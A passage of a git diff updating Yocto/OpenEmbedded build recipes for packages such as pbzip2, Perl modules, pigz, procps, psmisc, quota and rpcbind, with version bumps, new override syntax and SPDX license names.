ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "partprobe"
+ALTERNATIVE:${PN} = "partprobe"
ALTERNATIVE_LINK_NAME[partprobe] = "${sbindir}/partprobe"
diff --git a/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb b/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
index d24035b677..3fa89dec9a 100644
--- a/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
+++ b/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
@@ -3,13 +3,13 @@ DESCRIPTION = "PBZIP2 is a parallel implementation of the bzip2 block-sorting \
file compressor that uses pthreads and achieves near-linear speedup on SMP \
machines. The output of this version is fully compatible with bzip2 v1.0.2 or \
newer (ie: anything compressed with pbzip2 can be decompressed with bzip2)."
-HOMEPAGE = "http://compression.ca/pbzip2/"
+HOMEPAGE = "https://launchpad.net/pbzip2/"
SECTION = "console/utils"
LICENSE = "bzip2-1.0.6"
LIC_FILES_CHKSUM = "file://COPYING;md5=398b8832c6f840cfebd20ab2be6a3743"
DEPENDS = "bzip2"
-DEPENDS_append_class-native = " bzip2-replacement-native"
+DEPENDS:append:class-native = " bzip2-replacement-native"
SRC_URI = "https://launchpad.net/${BPN}/1.1/${PV}/+download/${BP}.tar.gz \
file://0001-pbzip2-Fix-invalid-suffix-on-literal-C-11-warning.patch \
diff --git a/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb b/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb
deleted file mode 100644
index 9f992d3e83..0000000000
--- a/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "Convert::ASN1 - Perl ASN.1 Encode/Decode library"
-SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-LIC_FILES_CHKSUM = "file://README.md;beginline=91;endline=97;md5=ceff7fd286eb6d8e8e0d3d23e096a63f"
-
-SRC_URI = "http://search.cpan.org/CPAN/authors/id/G/GB/GBARR/Convert-ASN1-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "68723e96be0b258a9e20480276e8a62c"
-SRC_URI[sha256sum] = "74a4a78ae0c5e973100ac0a8f203a110f76fb047b79dae4fc1fd7d6814d3d58a"
-
-S = "${WORKDIR}/Convert-ASN1-${PV}"
-
-inherit cpan ptest-perl
-
-EXTRA_PERLFLAGS = "-I ${PERLHOSTLIB}"
-
-RDEPENDS_${PN} += "perl-module-exporter perl-module-constant perl-module-encode perl-module-encode-encoding perl-module-utf8 perl-module-socket perl-module-time-local perl-module-posix"
-RDEPENDS_${PN}-ptest += "perl-module-math-bigint perl-module-io-socket perl-module-data-dumper perl-module-math-bigint-calc"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb b/meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb
new file mode 100644
index 0000000000..6e9f881773
--- /dev/null
+++ b/meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Convert::ASN1 - Perl ASN.1 Encode/Decode library"
+SECTION = "libs"
+HOMEPAGE = "http://search.cpan.org/dist/Convert-ASN1/"
+DESCRIPTION = "Convert::ASN1 is a perl library for encoding/decoding data using ASN.1 definitions."
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+LIC_FILES_CHKSUM = "file://README.md;beginline=91;endline=97;md5=ceff7fd286eb6d8e8e0d3d23e096a63f"
+
+SRC_URI = "https://cpan.metacpan.org/authors/id/T/TI/TIMLEGGE/Convert-ASN1-${PV}.tar.gz"
+
+SRC_URI[sha256sum] = "a628d7c9d390568fb76359975fa03f626ce57f10dc17980e8e3587d7713e4ee7"
+
+S = "${WORKDIR}/Convert-ASN1-${PV}"
+
+inherit cpan ptest-perl
+
+EXTRA_PERLFLAGS = "-I ${PERLHOSTLIB}"
+
+RDEPENDS:${PN} += "perl-module-exporter perl-module-constant perl-module-encode perl-module-encode-encoding perl-module-utf8 \
+ perl-module-socket perl-module-time-local perl-module-posix perl-module-scalar-util perl-module-test-more"
+RDEPENDS:${PN}-ptest += "perl-module-math-bigint perl-module-io-socket perl-module-data-dumper perl-module-math-bigint-calc"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/perl/libtimedate-perl_2.30.bb b/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
index 7219c7d11e..3e0d216a03 100644
--- a/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
+++ b/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
@@ -1,8 +1,9 @@
SUMMARY = "Perl modules useful for manipulating date and time information"
HOMEPAGE = "https://metacpan.org/release/TimeDate"
+DESCRIPTION = "This is the perl5 TimeDate distribution. It requires perl version 5.003 or later."
SECTION = "libs"
# You can redistribute it and/or modify it under the same terms as Perl itself.
-LICENSE = "Artistic-1.0 | GPL-1.0+"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
LIC_FILES_CHKSUM = "file://README;beginline=21;md5=576b7cb41e5e821501a01ed66f0f9d9e"
SRC_URI = "http://search.cpan.org/CPAN/authors/id/G/GB/GBARR/TimeDate-${PV}.tar.gz"
@@ -13,9 +14,8 @@ inherit cpan ptest-perl
BBCLASSEXTEND = "native"
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN} += "perl-module-carp perl-module-exporter perl-module-strict perl-module-time-local"
-RDEPENDS_${PN}-ptest += "perl-module-test-more perl-module-utf8"
+RDEPENDS:${PN} += "perl-module-carp perl-module-exporter perl-module-strict perl-module-time-local"
+RDEPENDS:${PN}-ptest += "perl-module-test-more perl-module-utf8"
SRC_URI[md5sum] = "b1d91153ac971347aee84292ed886c1c"
SRC_URI[sha256sum] = "75bd254871cb5853a6aa0403ac0be270cdd75c9d1b6639f18ecba63c15298e86"
diff --git a/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb b/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
index 57c407e0f8..568268d886 100644
--- a/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
+++ b/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
@@ -5,7 +5,7 @@ DESCRIPTION = "XML::NamespaceSupport offers a simple way to process namespace-ba
basic checks. "
SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
SRCNAME = "XML-NamespaceSupport"
@@ -21,7 +21,7 @@ S = "${WORKDIR}/${SRCNAME}-${PV}"
inherit cpan ptest-perl
-RDEPENDS_${PN}-ptest += "perl-module-test-more"
+RDEPENDS:${PN}-ptest += "perl-module-test-more"
BBCLASSEXTEND="native nativesdk"
diff --git a/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb b/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
index 2bff65a082..ebec5f0462 100644
--- a/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
+++ b/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
@@ -7,8 +7,8 @@ use this module as a base class so you don't have to, for example, \
implement the characters() callback."
SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-RDEPENDS_${PN} += "perl-module-extutils-makemaker"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+RDEPENDS:${PN} += "perl-module-extutils-makemaker"
LIC_FILES_CHKSUM = "file://dist.ini;endline=5;md5=8f9c9a55340aefaee6e9704c88466446"
@@ -21,6 +21,6 @@ S = "${WORKDIR}/XML-SAX-Base-${PV}"
inherit cpan ptest-perl
-RDEPENDS_${PN}-ptest += "perl-module-test perl-module-test-more"
+RDEPENDS:${PN}-ptest += "perl-module-test perl-module-test-more"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb b/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
index 02ee34ee17..b5b111d227 100644
--- a/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
+++ b/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
@@ -9,9 +9,9 @@ come from the Java JAXP specification (SAX part), only without the \
javaness."
SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
DEPENDS += "libxml-namespacesupport-perl-native"
-RDEPENDS_${PN} += "libxml-namespacesupport-perl libxml-sax-base-perl perl-module-file-temp"
+RDEPENDS:${PN} += "libxml-namespacesupport-perl libxml-sax-base-perl perl-module-file-temp"
LIC_FILES_CHKSUM = "file://LICENSE;md5=65c4cd8f39c24c7135ed70dacbcb09e3"
@@ -29,9 +29,9 @@ do_install_ptest() {
chown -R root:root ${D}${PTEST_PATH}/testfiles
}
-RDEPENDS_${PN} += "perl-module-encode perl-module-perlio"
+RDEPENDS:${PN} += "perl-module-encode perl-module-perlio perl-module-encode-encoding"
-RDEPENDS_${PN}-ptest += " \
+RDEPENDS:${PN}-ptest += " \
perl-module-base \
perl-module-encode-byte \
perl-module-encode-unicode \
diff --git a/meta/recipes-extended/pigz/pigz_2.4.bb b/meta/recipes-extended/pigz/pigz_2.8.bb
index 8c65ec34f0..fcf0c93e41 100644
--- a/meta/recipes-extended/pigz/pigz_2.4.bb
+++ b/meta/recipes-extended/pigz/pigz_2.8.bb
@@ -9,9 +9,8 @@ LICENSE = "Zlib & Apache-2.0"
LIC_FILES_CHKSUM = "file://pigz.c;md5=9ae6dee8ceba9610596ed0ada493d142;beginline=7;endline=21"
SRC_URI = "http://zlib.net/${BPN}/fossils/${BP}.tar.gz"
-SRC_URI[md5sum] = "def2f6e19d9d8231445adc1349d346df"
-SRC_URI[sha256sum] = "a4f816222a7b4269bd232680590b579ccc72591f1bb5adafcd7208ca77e14f73"
-PROVIDES_class-native += "gzip-native"
+SRC_URI[sha256sum] = "eb872b4f0e1f0ebe59c9f7bd8c506c4204893ba6a8492de31df416f0d5170fd0"
+PROVIDES:class-native += "gzip-native"
# Point this at the homepage in case /fossils/ isn't updated
UPSTREAM_CHECK_URI = "http://zlib.net/${BPN}/"
@@ -31,7 +30,7 @@ do_install() {
ln -nsf pigz ${D}${base_bindir}/pigzcat
}
-do_install_append_class-native() {
+do_install:append:class-native() {
install -d ${D}${bindir}
install ${B}/pigz ${D}${bindir}/gzip
ln -nsf gzip ${D}${bindir}/gunzip
@@ -39,8 +38,8 @@ do_install_append_class-native() {
}
ALTERNATIVE_PRIORITY = "110"
-ALTERNATIVE_${PN} = "gunzip gzip zcat"
-ALTERNATIVE_${PN}_class-nativesdk = ""
+ALTERNATIVE:${PN} = "gunzip gzip zcat"
+ALTERNATIVE:${PN}:class-nativesdk = ""
ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip"
ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip"
ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat"
diff --git a/meta/recipes-extended/procps/procps_3.3.16.bb b/meta/recipes-extended/procps/procps_4.0.4.bb
index 2810ebd285..800384f22f 100644
--- a/meta/recipes-extended/procps/procps_3.3.16.bb
+++ b/meta/recipes-extended/procps/procps_4.0.4.bb
@@ -3,7 +3,7 @@ DESCRIPTION = "Procps contains a set of system utilities that provide system inf
the /proc filesystem. The package includes the programs ps, top, vmstat, w, kill, and skill."
HOMEPAGE = "https://gitlab.com/procps-ng/procps"
SECTION = "base"
-LICENSE = "GPLv2+ & LGPLv2+"
+LICENSE = "GPL-2.0-or-later & LGPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://COPYING.LIB;md5=4cf66a4984120007c9881cc871cf49db \
"
@@ -12,17 +12,17 @@ DEPENDS = "ncurses"
inherit autotools gettext pkgconfig update-alternatives
-SRC_URI = "git://gitlab.com/procps-ng/procps.git;protocol=https \
+SRC_URI = "git://gitlab.com/procps-ng/procps.git;protocol=https;branch=master \
file://sysctl.conf \
"
-SRCREV = "59c88e18f29000ceaf7e5f98181b07be443cf12f"
+SRCREV = "4ddcef2fd843170c8e2d59a83042978f41037a2b"
S = "${WORKDIR}/git"
# Upstream has a custom autogen.sh which invokes po/update-potfiles as they
# don't ship a po/POTFILES.in (which is silly). Without that file gettext
# doesn't believe po/ is a gettext directory and won't generate po/Makefile.
-do_configure_prepend() {
+do_configure:prepend() {
( cd ${S} && po/update-potfiles )
}
@@ -31,7 +31,7 @@ EXTRA_OECONF = "--enable-skill --disable-modern-top"
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
PACKAGECONFIG[systemd] = "--with-systemd,--without-systemd,systemd"
-do_install_append () {
+do_install:append () {
install -d ${D}${base_bindir}
[ "${bindir}" != "${base_bindir}" ] && for i in ${base_bindir_progs}; do mv ${D}${bindir}/$i ${D}${base_bindir}/$i; done
install -d ${D}${base_sbindir}
@@ -48,7 +48,7 @@ do_install_append () {
fi
}
-CONFFILES_${PN} = "${sysconfdir}/sysctl.conf"
+CONFFILES:${PN} = "${sysconfdir}/sysctl.conf"
bindir_progs = "free pkill pmap pgrep pwdx skill snice top uptime w"
base_bindir_progs += "kill pidof ps watch"
@@ -57,9 +57,9 @@ base_sbindir_progs += "sysctl"
ALTERNATIVE_PRIORITY = "200"
ALTERNATIVE_PRIORITY[pidof] = "150"
-ALTERNATIVE_${PN} = "${bindir_progs} ${base_bindir_progs} ${base_sbindir_progs}"
+ALTERNATIVE:${PN} = "${bindir_progs} ${base_bindir_progs} ${base_sbindir_progs}"
-ALTERNATIVE_${PN}-doc = "kill.1 uptime.1"
+ALTERNATIVE:${PN}-doc = "kill.1 uptime.1"
ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
ALTERNATIVE_LINK_NAME[uptime.1] = "${mandir}/man1/uptime.1"
@@ -71,6 +71,27 @@ python __anonymous() {
d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
}
-# 'ps' isn't suitable for use as a security tool so whitelist this CVE.
-# https://bugzilla.redhat.com/show_bug.cgi?id=1575473#c3
-CVE_CHECK_WHITELIST += "CVE-2018-1121"
+PROCPS_PACKAGES = "${PN}-lib \
+ ${PN}-ps \
+ ${PN}-sysctl"
+
+PACKAGE_BEFORE_PN = "${PROCPS_PACKAGES}"
+RDEPENDS:${PN} += "${PROCPS_PACKAGES}"
+
+RDEPENDS:${PN}-ps += "${PN}-lib"
+RDEPENDS:${PN}-sysctl += "${PN}-lib"
+
+FILES:${PN}-lib = "${libdir}"
+FILES:${PN}-ps = "${base_bindir}/ps.${BPN}"
+FILES:${PN}-sysctl = "${base_sbindir}/sysctl.${BPN} ${sysconfdir}/sysctl.conf ${sysconfdir}/sysctl.d"
+
+ALTERNATIVE:${PN}:remove = "ps"
+ALTERNATIVE:${PN}:remove = "sysctl"
+
+ALTERNATIVE:${PN}-ps = "ps"
+ALTERNATIVE_TARGET[ps] = "${base_bindir}/ps"
+ALTERNATIVE_LINK_NAME[ps] = "${base_bindir}/ps"
+
+ALTERNATIVE:${PN}-sysctl = "sysctl"
+ALTERNATIVE_TARGET[sysctl] = "${base_sbindir}/sysctl"
+ALTERNATIVE_LINK_NAME[sysctl] = "${base_sbindir}/sysctl"
diff --git a/meta/recipes-extended/psmisc/psmisc.inc b/meta/recipes-extended/psmisc/psmisc.inc
index 6ab1288152..23e98d21be 100644
--- a/meta/recipes-extended/psmisc/psmisc.inc
+++ b/meta/recipes-extended/psmisc/psmisc.inc
@@ -8,7 +8,7 @@ processes identified by name. The fuser command identifies the PIDs \
of processes that are using specified files or filesystems."
SECTION = "base"
DEPENDS = "ncurses virtual/libintl"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
SRC_URI = "${SOURCEFORGE_MIRROR}/psmisc/psmisc-${PV}.tar.gz"
@@ -19,38 +19,41 @@ inherit autotools gettext
# Upstream has a custom autogen.sh which invokes po/update-potfiles as they
# don't ship a po/POTFILES.in (which is silly). Without that file gettext
# doesn't believe po/ is a gettext directory and won't generate po/Makefile.
-do_configure_prepend() {
+do_configure:prepend() {
( cd ${S} && po/update-potfiles )
}
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+PACKAGECONFIG[selinux] = "--enable-selinux,--disable-selinux,libselinux"
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
PACKAGES =+ "fuser fuser-doc killall killall-doc pstree pstree-doc"
PACKAGES += "psmisc-extras"
-FILES_${PN} = ""
-RDEPENDS_${PN} = "fuser killall pstree"
+FILES:${PN} = ""
+RDEPENDS:${PN} = "fuser killall pstree"
-FILES_fuser = "${bindir}/fuser.${BPN}"
-FILES_fuser-doc = "${mandir}/man1/fuser*"
+FILES:fuser = "${bindir}/fuser.${BPN}"
+FILES:fuser-doc = "${mandir}/man1/fuser*"
-FILES_killall = "${bindir}/killall.${BPN}"
-FILES_killall-doc = "${mandir}/man1/killall*"
+FILES:killall = "${bindir}/killall.${BPN}"
+FILES:killall-doc = "${mandir}/man1/killall*"
-FILES_pstree = "${bindir}/pstree"
-FILES_pstree-doc = "${mandir}/man1/pstree*"
+FILES:pstree = "${bindir}/pstree"
+FILES:pstree-doc = "${mandir}/man1/pstree*"
-FILES_psmisc-extras = "${bindir}"
-FILES_psmisc-extras-doc = "${mandir}"
+FILES:psmisc-extras = "${bindir}"
+FILES:psmisc-extras-doc = "${mandir}"
inherit update-alternatives
ALTERNATIVE_PRIORITY = "90"
-ALTERNATIVE_killall = "killall"
+ALTERNATIVE:killall = "killall"
-ALTERNATIVE_fuser = "fuser"
+ALTERNATIVE:fuser = "fuser"
+
+ALTERNATIVE:pstree = "pstree"
diff --git a/meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch b/meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch
index ca13bdbd15..01335bdf40 100644
--- a/meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch
+++ b/meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch
@@ -1,4 +1,4 @@
-From 115fcf1daff18aa2f2e130d63704f04031878db0 Mon Sep 17 00:00:00 2001
+From 338d2d46d1c20ebadf317938af98d0532a62f8d4 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Thu, 24 Mar 2016 15:46:14 +0000
Subject: [PATCH] Use UINTPTR_MAX instead of __WORDSIZE
@@ -13,7 +13,7 @@ Upstream-Status: Pending
1 file changed, 8 insertions(+), 5 deletions(-)
diff --git a/src/peekfd.c b/src/peekfd.c
-index 5aa990a..7e8e3fc 100644
+index 36dff04..2b4b1dc 100644
--- a/src/peekfd.c
+++ b/src/peekfd.c
@@ -30,8 +30,11 @@
@@ -28,7 +28,7 @@ index 5aa990a..7e8e3fc 100644
#include <getopt.h>
#include <ctype.h>
#include <dirent.h>
-@@ -266,11 +269,11 @@ int main(int argc, char **argv)
+@@ -341,11 +344,11 @@ int main(int argc, char **argv)
if (WIFSTOPPED(status)) {
#ifdef PPC
struct pt_regs regs;
diff --git a/meta/recipes-extended/psmisc/psmisc_23.3.bb b/meta/recipes-extended/psmisc/psmisc_23.7.bb
index e569f1074b..ea272cd92d 100644
--- a/meta/recipes-extended/psmisc/psmisc_23.3.bb
+++ b/meta/recipes-extended/psmisc/psmisc_23.7.bb
@@ -1,9 +1,9 @@
require psmisc.inc
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3"
-SRC_URI = "git://gitlab.com/psmisc/psmisc.git;protocol=https \
+SRC_URI = "git://gitlab.com/psmisc/psmisc.git;protocol=https;branch=master \
file://0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch \
"
-SRCREV = "78bde849041e6c914a2a517ebe1255b86dc98772"
+SRCREV = "9091d6dbcce3d8fb87adf9249a2eb346d25a562c"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-extended/quota/quota/fcntl.patch b/meta/recipes-extended/quota/quota/fcntl.patch
index 51a770ce6e..09a0c687b6 100644
--- a/meta/recipes-extended/quota/quota/fcntl.patch
+++ b/meta/recipes-extended/quota/quota/fcntl.patch
@@ -1,3 +1,8 @@
+From 00a456145531d194d3993c9f4cd404d5ca16c9df Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 6 Apr 2015 17:36:44 +0000
+Subject: [PATCH] quota: Fix build with musl
+
Include fcntl.h to pacify compiler errors on musl
like
@@ -9,20 +14,14 @@ Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
-diff --git a/quota.h b/quota.h
-index 4c21411..d20c217 100644
---- a/quota.h
-+++ b/quota.h
-@@ -182,6 +182,6 @@ enum {
- #endif
- #endif
-
--long quotactl __P((int, const char *, qid_t, caddr_t));
-+long quotactl (int, const char *, qid_t, caddr_t);
-
- #endif /* _QUOTA_ */
+---
+ quotacheck.c | 1 +
+ quotaio.c | 1 +
+ rquota_client.c | 4 ++++
+ 3 files changed, 6 insertions(+)
+
diff --git a/quotacheck.c b/quotacheck.c
-index 2cdf475..07c18a7 100644
+index bd62d9a..772a27d 100644
--- a/quotacheck.c
+++ b/quotacheck.c
@@ -19,6 +19,7 @@
@@ -46,7 +45,7 @@ index 94ae458..d57fc1a 100644
#include <sys/stat.h>
#include <sys/file.h>
diff --git a/rquota_client.c b/rquota_client.c
-index a3a4ae3..0ffe7a9 100644
+index 7f8e821..d48505a 100644
--- a/rquota_client.c
+++ b/rquota_client.c
@@ -19,7 +19,9 @@
diff --git a/meta/recipes-extended/quota/quota_4.05.bb b/meta/recipes-extended/quota/quota_4.09.bb
index c5da1e71ed..b779657dfc 100644
--- a/meta/recipes-extended/quota/quota_4.05.bb
+++ b/meta/recipes-extended/quota/quota_4.09.bb
@@ -1,16 +1,16 @@
SUMMARY = "Tools for monitoring & limiting user disk usage per filesystem"
SECTION = "base"
HOMEPAGE = "http://sourceforge.net/projects/linuxquota/"
+DESCRIPTION = "Tools and patches for the Linux Diskquota system as part of the Linux kernel"
BUGTRACKER = "http://sourceforge.net/tracker/?group_id=18136&atid=118136"
-LICENSE = "BSD & GPLv2+ & LGPLv2.1+"
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://rquota_server.c;beginline=1;endline=20;md5=fe7e0d7e11c6f820f8fa62a5af71230f \
file://svc_socket.c;beginline=1;endline=17;md5=24d5a8792da45910786eeac750be8ceb"
SRC_URI = "${SOURCEFORGE_MIRROR}/project/linuxquota/quota-tools/${PV}/quota-${PV}.tar.gz \
file://fcntl.patch \
- "
-SRC_URI[md5sum] = "1c1dbd2cd3d680ccac661239b067e147"
-SRC_URI[sha256sum] = "ef3b5b5d1014ed1344b46c1826145e20cbef8db967b522403c9a060761cf7ab9"
+ "
+SRC_URI[sha256sum] = "9cdaca154bc92afc3117f0e5f5b3208dd5f84583af1cf061c39baa0a2bb142f9"
CVE_PRODUCT = "linux_diskquota"
@@ -26,7 +26,7 @@ LDFLAGS += "${@bb.utils.contains('PACKAGECONFIG', 'rpc', '-ltirpc', '', d)}"
ASNEEDED = ""
PACKAGECONFIG ??= "tcp-wrappers rpc bsd"
-PACKAGECONFIG_libc-musl = "tcp-wrappers rpc"
+PACKAGECONFIG:libc-musl = "tcp-wrappers rpc"
PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
PACKAGECONFIG[rpc] = "--enable-rpc,--disable-rpc,libtirpc"
diff --git a/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch b/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch
index b92f2cf7b1..79dc96050e 100644
--- a/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch
+++ b/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch
@@ -21,7 +21,7 @@ index 2dd9471..47a46c0 100644
AC_SUBST([_sbindir])
AC_CONFIG_COMMANDS_PRE([eval eval _sbindir=$sbindir])
+AC_SUBST([_sysconfdir])
-+AC_CONFIG_COMMANDS_PRE([eval eval _sysconfdir=$sbindir])
++AC_CONFIG_COMMANDS_PRE([eval eval _sysconfdir=$sysconfdir])
AC_OUTPUT([Makefile systemd/rpcbind.service])
diff --git a/systemd/rpcbind.service.in b/systemd/rpcbind.service.in
diff --git a/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch b/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
index 434b6b1c4c..535f9ce20d 100644
--- a/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
+++ b/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
@@ -15,7 +15,7 @@ Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
3 files changed, 26 insertions(+), 3 deletions(-)
diff --git a/man/rpcbind.8 b/man/rpcbind.8
-index af6200f..2e6146b 100644
+index fbf0ace..66f7c08 100644
--- a/man/rpcbind.8
+++ b/man/rpcbind.8
@@ -11,7 +11,7 @@
@@ -27,17 +27,17 @@ index af6200f..2e6146b 100644
.Sh DESCRIPTION
The
.Nm
-@@ -107,6 +107,8 @@ will automatically add
+@@ -96,6 +96,8 @@ will automatically add
and if IPv6 is enabled,
.Li ::1
to the list.
+.It Fl p
+Bind for fixed UDP port number
- .It Fl i
- .Dq Insecure
- mode.
+ If no
+ .Fl h
+ option is specified,
diff --git a/src/rpcb_svc_com.c b/src/rpcb_svc_com.c
-index 8aef9e5..c2632a4 100644
+index 1743dad..07a1c75 100644
--- a/src/rpcb_svc_com.c
+++ b/src/rpcb_svc_com.c
@@ -48,6 +48,7 @@
@@ -60,8 +60,8 @@ index 8aef9e5..c2632a4 100644
int fd;
struct rmtcallfd_list *rmt;
SVCXPRT *xprt;
-+ struct __rpc_sockinfo si;
-+ struct t_bind taddr;
++ struct __rpc_sockinfo si;
++ struct t_bind taddr;
if ((fd = __rpc_nconf2fd(nconf)) == -1) {
if (debugging)
@@ -70,23 +70,23 @@ index 8aef9e5..c2632a4 100644
return (-1);
}
+
-+ if (fixed_port) {
-+ __rpc_fd2sockinfo(fd, &si);
-+ memset(&taddr, 0, sizeof(taddr));
-+ taddr.addr.maxlen = taddr.addr.len = si.si_alen;
-+ taddr.addr.buf = malloc(si.si_alen);
-+ if (taddr.addr.buf == NULL) {
-+ return -1;
-+ }
-+ *(unsigned short *)(&(taddr.addr.buf[0])) = si.si_af;
-+ *(unsigned short *)(&(taddr.addr.buf[2])) = htons(fixed_port);
-+ xprt = svc_tli_create(fd, nconf, &taddr, RPC_MAXDATASIZE, RPC_MAXDATASIZE);
-+ } else
++ if (fixed_port) {
++ __rpc_fd2sockinfo(fd, &si);
++ memset(&taddr, 0, sizeof(taddr));
++ taddr.addr.maxlen = taddr.addr.len = si.si_alen;
++ taddr.addr.buf = malloc(si.si_alen);
++ if (taddr.addr.buf == NULL) {
++ return -1;
++ }
++ *(unsigned short *)(&(taddr.addr.buf[0])) = si.si_af;
++ *(unsigned short *)(&(taddr.addr.buf[2])) = htons(fixed_port);
++ xprt = svc_tli_create(fd, nconf, &taddr, RPC_MAXDATASIZE, RPC_MAXDATASIZE);
++ } else
xprt = svc_tli_create(fd, 0, (struct t_bind *) 0, 0, 0);
if (xprt == NULL) {
if (debugging)
diff --git a/src/rpcbind.c b/src/rpcbind.c
-index 137011b..dc3d2d6 100644
+index 25d8a90..36a95b9 100644
--- a/src/rpcbind.c
+++ b/src/rpcbind.c
@@ -111,6 +111,7 @@ int runasdaemon = 0;
@@ -97,7 +97,7 @@ index 137011b..dc3d2d6 100644
char **hosts = NULL;
int nhosts = 0;
-@@ -869,7 +870,7 @@ parseargs(int argc, char *argv[])
+@@ -884,7 +885,7 @@ parseargs(int argc, char *argv[])
{
int c;
oldstyle_local = 1;
@@ -106,25 +106,25 @@ index 137011b..dc3d2d6 100644
switch (c) {
case 'a':
doabort = 1; /* when debugging, do an abort on */
-@@ -887,6 +888,9 @@ parseargs(int argc, char *argv[])
+@@ -902,6 +903,9 @@ parseargs(int argc, char *argv[])
if (hosts[nhosts - 1] == NULL)
errx(1, "Out of memory");
break;
-+ case 'p':
-+ fixed_port = atoi(optarg);
-+ break;
++ case 'p':
++ fixed_port = atoi(optarg);
++ break;
case 'i':
insecure = 1;
break;
-@@ -905,7 +909,7 @@ parseargs(int argc, char *argv[])
+@@ -920,7 +924,7 @@ parseargs(int argc, char *argv[])
break;
#endif
default: /* error */
- fprintf(stderr, "usage: rpcbind [-adhilswf]\n");
-+ fprintf(stderr, "usage: rpcbind [-adhpilswf]\n");
++ fprintf(stderr, "usage: rpcbind [-adhpilswf]\n");
exit (1);
}
}
--
-1.9.1
+2.25.1
diff --git a/meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb b/meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb
index aff00e56e6..dbd4d32e0a 100644
--- a/meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb
+++ b/meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb
